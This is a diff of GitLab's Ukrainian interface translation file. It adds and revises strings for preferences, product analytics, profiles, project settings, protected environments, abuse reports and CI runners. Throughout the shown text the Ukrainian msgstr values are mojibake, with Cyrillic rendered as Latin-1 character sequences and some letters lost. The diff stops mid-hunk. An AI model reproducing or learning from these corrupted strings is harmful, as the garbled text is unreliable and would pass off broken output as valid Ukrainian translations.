msgid "Preferences|Preview"
msgstr "Попередній переглÑд"
@@ -31699,8 +32063,11 @@ msgstr "Тема Ð´Ð»Ñ Ð¿Ñ–Ð´Ñвітки ÑинтакÑиÑу"
msgid "Preferences|Tab width"
msgstr "Ширина табулÑції"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
-msgstr ""
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr "За замовчуваннÑм викориÑтовуєтьÑÑ Ð±ÐµÑ‚Ð°-верÑÑ–Ñ Web IDE."
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
+msgstr "Web IDE залишаєтьÑÑ Ð´Ð¾Ñтупною паралельно з бета-верÑією."
msgid "Preferences|This feature is experimental and translations are not yet complete."
msgstr "Ð¦Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñ Ñ” екÑпериментальною Ñ– переклади ще не завершені."
@@ -31714,9 +32081,6 @@ msgstr "Цей параметр дозволÑÑ” вам налаштувати Ð
msgid "Preferences|Time preferences"
msgstr "Параметри чаÑу"
-msgid "Preferences|Use legacy Web IDE"
-msgstr "ВикориÑтовувати Ñтарий Веб IDE"
-
msgid "Preferences|Use relative times"
msgstr "ВикориÑтовувати відноÑний чаÑ"
@@ -31828,6 +32192,9 @@ msgstr "Приватна група(и)"
msgid "Private profile"
msgstr "Приватний профіль"
+msgid "Private profile:"
+msgstr "Приватний профіль:"
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr "Продовжити"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr "ХоÑÑ‚ SDK"
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr "Ðналітика продукту"
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr "Ð’ÑÑ– Ñторінки"
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr "ÐудиторіÑ"
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr "Код"
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr "ХоÑÑ‚"
+
+msgid "ProductAnalytics|Language"
+msgstr "Мова"
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr "ОС"
+
+msgid "ProductAnalytics|OS Version"
+msgstr "ВерÑÑ–Ñ ÐžÐ¡"
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr "Заголовок Ñторінки"
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr "Сторінки"
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr "URL"
+
+msgid "ProductAnalytics|User activity"
+msgstr "ÐктивніÑÑ‚ÑŒ кориÑтувача"
+
+msgid "ProductAnalytics|Users"
+msgstr "КориÑтувачі"
+
+msgid "ProductAnalytics|Viewport"
+msgstr "ПереглÑд"
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr "Тип візуалізації"
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr "Віджет"
+
msgid "Productivity"
msgstr "ПродуктивніÑÑ‚ÑŒ"
@@ -31994,7 +32562,7 @@ msgid "Profiles|Connect %{provider}"
msgstr ""
msgid "Profiles|Connect a service for sign-in."
-msgstr ""
+msgstr "Підключити ÑÐµÑ€Ð²Ñ–Ñ Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ñƒ в ÑиÑтему."
msgid "Profiles|Connected Accounts"
msgstr "Підключені облікові запиÑи"
@@ -32045,7 +32613,7 @@ msgid "Profiles|Enter your password to confirm the email change"
msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you."
-msgstr ""
+msgstr "Введіть займенник, щоб люди знали, Ñк до Ð²Ð°Ñ Ð·Ð²ÐµÑ€Ñ‚Ð°Ñ‚Ð¸ÑÑ."
msgid "Profiles|Example: MacBook key"
msgstr ""
@@ -32144,7 +32712,7 @@ msgid "Profiles|Profile was successfully updated"
msgstr "Профіль було уÑпішно оновлено"
msgid "Profiles|Pronouns"
-msgstr ""
+msgstr "Займенник"
msgid "Profiles|Pronunciation"
msgstr ""
@@ -32165,13 +32733,13 @@ msgid "Profiles|Select a service to sign in with."
msgstr "Виберіть Ñлужбу Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ñƒ."
msgid "Profiles|Service sign-in"
-msgstr ""
+msgstr "Вхід в ÑиÑтему"
msgid "Profiles|Set new profile picture"
msgstr "Ð’Ñтановити нове Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ„Ñ–Ð»ÑŽ"
msgid "Profiles|Set your local time zone."
-msgstr ""
+msgstr "Ð’Ñтановити Ñвій міÑцевий чаÑовий поÑÑ."
msgid "Profiles|Some options are unavailable for LDAP accounts"
msgstr "ДеÑкі параметри недоÑтупні Ð´Ð»Ñ Ð¾Ð±Ð»Ñ–ÐºÐ¾Ð²Ð¸Ñ… запиÑів LDAP"
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Ðіколи"
+msgid "ProjectList|Explore"
+msgstr "ОзнайомитиÑÑ"
+
+msgid "ProjectList|Starred"
+msgstr "В обраному"
+
+msgid "ProjectList|Topics"
+msgstr "Теми"
+
+msgid "ProjectList|Yours"
+msgstr "Ваші"
+
msgid "ProjectOverview|Fork"
msgstr "Форк"
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr "Ініціювати подію, коли ÑтворюєтьÑÑ Ñ–Ð½Ñ†Ð¸Ð´ÐµÐ½Ñ‚."
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32774,7 +33357,7 @@ msgid "ProjectSettings|Anyone can pull packages with a package manager API."
msgstr ""
msgid "ProjectSettings|Auto-close referenced issues on default branch"
-msgstr ""
+msgstr "Ðвто-Ð·Ð°ÐºÑ€Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¸Ñ… задач у гілці за замовчуваннÑм"
msgid "ProjectSettings|Automatically resolve merge request diff threads when they become outdated"
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "Ðалаштуйте реÑурÑи вашого проєкту Ñ– відÑтежуйте Ñ—Ñ… здоров'Ñ."
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "ЗвернітьÑÑ Ð´Ð¾ адмініÑтратора, щоб змінити це налаштуваннÑ."
@@ -32969,7 +33549,7 @@ msgid "ProjectSettings|Monitor"
msgstr ""
msgid "ProjectSettings|Monitor the health of your project and respond to incidents."
-msgstr ""
+msgstr "ВідÑтежуйте Ñтан вашого проєкту та реагуйте на інциденти."
msgid "ProjectSettings|No merge commits are created."
msgstr ""
@@ -32983,9 +33563,6 @@ msgstr "До цього репозиторію можуть бути перемÑ
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Тільки підпиÑані коміти можуть бути надіÑлані в цей репозиторій."
-msgid "ProjectSettings|Operations"
-msgstr "Операції"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33017,7 +33594,7 @@ msgid "ProjectSettings|Public"
msgstr "Публічний"
msgid "ProjectSettings|Publish, store, and view packages in a project."
-msgstr ""
+msgstr "ПублікаціÑ, Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Ñ‚Ð° переглÑд пакетів у проєкті."
msgid "ProjectSettings|Releases"
msgstr "Релізи"
@@ -33053,7 +33630,7 @@ msgid "ProjectSettings|Security & Compliance for this project"
msgstr "Безпека та відповідніÑÑ‚ÑŒ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
msgid "ProjectSettings|Select the default branch for this project, and configure the template for branch names."
-msgstr ""
+msgstr "Виберіть гілку за замовчуваннÑм Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту та налаштуйте шаблон Ð´Ð»Ñ Ð½Ð°Ð·Ð² гілок."
msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
@@ -33136,11 +33713,11 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "КориÑтувачі можуть копіювати репозиторій в новий проєкт."
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
-msgstr "КориÑтувачі можуть відправлÑти в цей репозиторій лише Ñ‚Ñ– коміти, Ñкщо ім'Ñ ÐºÐ¾Ð¼Ñ–Ñ‚ÐµÑ€Ð° відповідає Ñ—Ñ… імені кориÑтувача git в конфігурації."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgstr ""
msgid "ProjectSettings|Users can request access"
msgstr "КориÑтувачі можуть запитувати доÑтуп"
@@ -33271,6 +33848,9 @@ msgstr "Serverless Framework/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33587,7 +34167,7 @@ msgid "Promotion is not supported."
msgstr ""
msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
-msgstr ""
+msgstr "Додайте %{link_start} шаблони опиÑу %{link_end} щоб допомогти вашим учаÑникам ефективно ÑпілкуватиÑÑ!"
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -33728,10 +34308,10 @@ msgid "Promotions|You can restrict access to protected branches by choosing a ro
msgstr ""
msgid "Promotions|description templates"
-msgstr ""
+msgstr "шаблони опиÑу"
msgid "Promotions|to help your contributors communicate effectively!"
-msgstr ""
+msgstr "щоб допомогти вашим учаÑникам ефективно ÑпілкуватиÑÑ!"
msgid "Prompt users to upload SSH keys"
msgstr "Пропонувати кориÑтувачам завантажувати Ñвої ключі SSH"
@@ -33890,11 +34470,29 @@ msgid "ProtectedBranch|What are protected branches?"
msgstr ""
msgid "ProtectedBranch|You can add only groups that have this project shared. %{learn_more_link}"
-msgstr ""
+msgstr "Ви можете додавати лише групи, Ñкі Ñпільно викориÑтовують цей проєкт. %{learn_more_link}"
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr "Ð Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÐµÐ½Ð¾"
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr "Правила затвердженнÑ"
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} буде доÑупне Ð´Ð»Ñ Ð·Ð°Ð¿Ð¸Ñу Ð´Ð»Ñ Ñ€Ð¾Ð·Ñ€Ð¾Ð±Ð½Ð¸ÐºÑ–Ð². Ви впевнені?"
@@ -33907,6 +34505,9 @@ msgstr "Ð Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÐµÐ½Ð¾"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr "Затверджуючі оÑоби"
+
msgid "ProtectedEnvironment|Environment"
msgstr "Середовище"
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr "Виберіть Ñередовище"
+msgid "ProtectedEnvironment|Select environment"
+msgstr "Виберіть Ñередовище"
+
msgid "ProtectedEnvironment|Select groups"
msgstr "Виберіть групи"
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr "Перезавантажте Ñторінку, щоб повторити Ñпробу."
+
msgid "Remediations"
msgstr ""
@@ -34783,7 +35390,7 @@ msgid "Remove link"
msgstr ""
msgid "Remove list"
-msgstr ""
+msgstr "Видалити ÑпиÑок"
msgid "Remove log"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr "Подовжити підпиÑку"
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Повторне відкриттÑ"
@@ -35004,9 +35608,6 @@ msgstr "Замінено вÑÑ– мітки з %{label_references} %{label_text}.
msgid "Replaces the clone URL root."
msgstr "Замінює кореневу URL-адреÑу Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ."
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr "ВідповіÑти"
@@ -35023,13 +35624,13 @@ msgid "Reply to this email directly or %{view_it_on_gitlab}."
msgstr "ВідповіÑти на це електронне Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð°Ð±Ð¾ %{view_it_on_gitlab}."
msgid "Reply…"
-msgstr ""
+msgstr "ВідповіÑти…"
msgid "Report Finding not found"
-msgstr ""
+msgstr "Пошук звіту не знайдено"
msgid "Report abuse to administrator"
-msgstr ""
+msgstr "Повідомити про Ð¿Ð¾Ñ€ÑƒÑˆÐµÐ½Ð½Ñ Ð°Ð´Ð¼Ñ–Ð½Ñ–Ñтратору"
msgid "Report couldn't be prepared."
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Повідомлено %{timeAgo} кориÑтувачем %{reportedBy}"
@@ -35720,13 +36348,13 @@ msgstr ""
msgid "Reviewer"
msgid_plural "%d Reviewers"
-msgstr[0] "оглÑдач"
-msgstr[1] "%d оглÑдача"
-msgstr[2] "%d оглÑдачів"
-msgstr[3] "%d оглÑдачів"
+msgstr[0] "ОглÑдач"
+msgstr[1] "%d ОглÑдача"
+msgstr[2] "%d ОглÑдачів"
+msgstr[3] "%d ОглÑдачів"
msgid "Reviewer(s)"
-msgstr "оглÑдач(Ñ–)"
+msgstr "ОглÑдач(Ñ–)"
msgid "Reviewers"
msgstr "ОглÑдачі"
@@ -35810,7 +36438,7 @@ msgid "Run housekeeping tasks to automatically optimize Git repositories. Disabl
msgstr ""
msgid "Run manual job again"
-msgstr ""
+msgstr "Виконати ручне Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð·Ð½Ð¾Ð²Ñƒ"
msgid "Run manual or delayed jobs"
msgstr ""
@@ -35856,14 +36484,14 @@ msgid "Runners|%{link_start}These runners%{link_end} are available to all groups
msgstr "%{link_start}Ці раннери%{link_end} доÑтупні Ð´Ð»Ñ Ð²ÑÑ–Ñ… груп Ñ– проєктів."
msgid "Runners|%{percentage} spot."
-msgstr ""
+msgstr "%{percentage} міÑцÑ."
msgid "Runners|%{strongStart}%{count}%{strongEnd} runner selected"
msgid_plural "Runners|%{strongStart}%{count}%{strongEnd} runners selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Вибрано%{strongStart}%{count}%{strongEnd} раннер"
+msgstr[1] "Вибрано%{strongStart}%{count}%{strongEnd} раннера"
+msgstr[2] "Вибрано%{strongStart}%{count}%{strongEnd} раннерів"
+msgstr[3] "Вибрано%{strongStart}%{count}%{strongEnd} раннерів"
msgid "Runners|%{strongStart}%{count}%{strongEnd} runner will be permanently deleted and no longer available for projects or groups in the instance. Are you sure you want to continue?"
msgid_plural "Runners|%{strongStart}%{count}%{strongEnd} runners will be permanently deleted and no longer available for projects or groups in the instance. Are you sure you want to continue?"
@@ -35879,7 +36507,7 @@ msgid "Runners|A new version is available"
msgstr "ДоÑтупна нова верÑÑ–Ñ"
msgid "Runners|A periodic background task deletes runners that haven't contacted GitLab in more than %{elapsedTime}. Only runners registered in this group are deleted. Runners in subgroups and projects are not. %{linkStart}Can I view how many runners were deleted?%{linkEnd}"
-msgstr ""
+msgstr "Періодичне фонове Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð²Ð¸Ð´Ð°Ð»ÑÑ” раннери, Ñкі не зв'ÑзувалиÑÑ Ð· GitLab більше ніж %{elapsedTime}. ВидалÑÑŽÑ‚ÑŒÑÑ Ð»Ð¸ÑˆÐµ Ñ‚Ñ– раннери, хто зареєÑтрований у цій групі. Раннери в підгрупах Ñ– проєктах не видалÑÑŽÑ‚ÑŒÑÑ. %{linkStart}Чи можу Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñнути, Ñкільки раннерів було видалено?%{linkEnd}"
msgid "Runners|Active"
msgstr "Ðктивні"
@@ -35906,13 +36534,13 @@ msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|An error occurred while deleting. Some runners may not have been deleted."
-msgstr ""
+msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ. ДеÑкі раннери не були видалені."
msgid "Runners|An upgrade is available for this runner"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ раннера доÑтупне оновленнÑ"
msgid "Runners|An upgrade is recommended for this runner"
-msgstr ""
+msgstr "Рекомендовано Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ раннера"
msgid "Runners|Architecture"
msgstr "Ðрхітектура"
@@ -35921,16 +36549,16 @@ msgid "Runners|Assigned Group"
msgstr "Призначена група"
msgid "Runners|Assigned Projects (%{projectCount})"
-msgstr ""
+msgstr "Призначені проєкти (%{projectCount})"
msgid "Runners|Associated with one or more projects"
-msgstr ""
+msgstr "Пов’Ñзані з одним або кількома проєктами"
msgid "Runners|Available"
msgstr "ДоÑтупні"
msgid "Runners|Available shared runners: %{count}"
-msgstr ""
+msgstr "ДоÑтупні загальні раннери: %{count}"
msgid "Runners|Available to all projects"
msgstr "ДоÑтупно Ð´Ð»Ñ Ð²ÑÑ–Ñ… проєктів"
@@ -35939,7 +36567,7 @@ msgid "Runners|Available to all projects and subgroups in the group"
msgstr ""
msgid "Runners|Can run untagged jobs"
-msgstr ""
+msgstr "Може виконувати Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÐµÐ· тегів"
msgid "Runners|Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
@@ -36009,16 +36637,16 @@ msgid "Runners|Enable stale runner cleanup"
msgstr "Увімкнути Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°Ñтарілого раннер"
msgid "Runners|Enable stale runner cleanup?"
-msgstr ""
+msgstr "Увімкнути Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°Ñтарілого раннер?"
msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
-msgstr ""
+msgstr "Введіть кількіÑÑ‚ÑŒ Ñекунд. Цей Ñ‡Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¼Ð°Ñ” пріоритет над меншими чаÑами очікуваннÑ, вÑтановленими Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ."
msgid "Runners|Executor"
-msgstr ""
+msgstr "Виконавець"
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
-msgstr ""
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
+msgstr "ІÑнуючі раннери не впливають. Щоб дозволити реєÑтрацію учаÑників Ð´Ð»Ñ Ð²ÑÑ–Ñ… груп, увімкніть це Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð² облаÑÑ‚Ñ– адмініÑтратора в меню Параметри &gt; CI/CD."
msgid "Runners|Filter projects"
msgstr "Фільтр проєктів"
@@ -36039,7 +36667,7 @@ msgid "Runners|IP Address"
msgstr "IP-адреÑа"
msgid "Runners|Idle"
-msgstr ""
+msgstr "ПроÑтій"
msgid "Runners|Install a runner"
msgstr "Ð’Ñтановити раннер"
@@ -36060,34 +36688,34 @@ msgid "Runners|Locked to this project"
msgstr "Закріплено за цим проєктом"
msgid "Runners|Maintenance note"
-msgstr ""
+msgstr "Примітка до обÑлуговуваннÑ"
msgid "Runners|Maximum job timeout"
-msgstr ""
+msgstr "МакÑимальний Ñ‡Ð°Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ"
msgid "Runners|Members of the %{type} can register runners"
-msgstr ""
+msgstr "УчаÑники %{type} можуть зареєÑтрувати раннери"
msgid "Runners|Name"
msgstr "Ім'Ñ"
msgid "Runners|Never contacted"
-msgstr ""
+msgstr "Ðіколи не контактував"
msgid "Runners|Never contacted:"
-msgstr ""
+msgstr "Ðіколи не контактував:"
msgid "Runners|Never expires"
msgstr "Ðіколи не закінчуєтьÑÑ"
msgid "Runners|New group runners can be registered"
-msgstr "Можна реєÑтрувати нову групу ранерів"
+msgstr "Можна реєÑтрувати нову групу раннерів"
msgid "Runners|New registration token generated!"
msgstr "Ðовий реєÑтраційний токен, Ñтворений!"
msgid "Runners|No description"
-msgstr ""
+msgstr "ÐžÐ¿Ð¸Ñ Ð½Ðµ вÑтановлено"
msgid "Runners|No results found"
msgstr "Ðе знайдено результатів"
@@ -36099,7 +36727,7 @@ msgid "Runners|No spot. This is the default choice for Linux Docker executor."
msgstr ""
msgid "Runners|Not accepting jobs"
-msgstr ""
+msgstr "Ðе приймати завданнÑ"
msgid "Runners|Offline"
msgstr "Офлайн"
@@ -36151,13 +36779,13 @@ msgid "Runners|Register a project runner"
msgstr ""
msgid "Runners|Register a runner"
-msgstr ""
+msgstr "ЗареєÑтрувати раннера"
msgid "Runners|Register an instance runner"
msgstr "ЗареєÑтрувати раннер інÑтанÑа"
msgid "Runners|Register as many runners as you want. You can register runners as separate users, on separate servers, and on your local machine."
-msgstr ""
+msgstr "ЗареєÑтруйте Ñтільки раннерів, Ñкільки хочете. Ви можете реєÑтрувати раннерів Ñк окремих кориÑтувачів, на окремих Ñерверах та на вашому локальному комп'ютері."
msgid "Runners|Registration token"
msgstr "Токен Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
@@ -36184,16 +36812,16 @@ msgid "Runners|Runner %{name} was deleted"
msgstr "Раннер %{name} було видалено"
msgid "Runners|Runner Registration"
-msgstr ""
+msgstr "РеєÑÑ‚Ñ€Ð°Ñ†Ñ–Ñ Ñ€Ð°Ð½Ð½ÐµÑ€Ð°"
msgid "Runners|Runner assigned to project."
msgstr "Раннер призначено Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ."
msgid "Runners|Runner authentication token expiration"
-msgstr ""
+msgstr "Ð—Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії токена автентифікації раннера"
msgid "Runners|Runner authentication tokens will expire based on a set interval. They will automatically rotate once expired."
-msgstr ""
+msgstr "Термін дії токенів автентифікації раннерів закінчуєтьÑÑ Ñ‡ÐµÑ€ÐµÐ· певний проміжок чаÑу. ПіÑÐ»Ñ Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії вони будуть автоматично змінюватиÑÑ."
msgid "Runners|Runner has contacted GitLab within the last %{elapsedTime}"
msgstr ""
@@ -36232,7 +36860,7 @@ msgid "Runners|Runner is stale; last contact was %{timeAgo}"
msgstr ""
msgid "Runners|Runner registration"
-msgstr ""
+msgstr "РеєÑÑ‚Ñ€Ð°Ñ†Ñ–Ñ Ñ€Ð°Ð½Ð½ÐµÑ€Ð°"
msgid "Runners|Runner statuses"
msgstr "СтатуÑи раннер"
@@ -36256,7 +36884,7 @@ msgid "Runners|Running"
msgstr "Запущено"
msgid "Runners|Runs untagged jobs"
-msgstr ""
+msgstr "Виконує Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÐµÐ· тегів"
msgid "Runners|Select all"
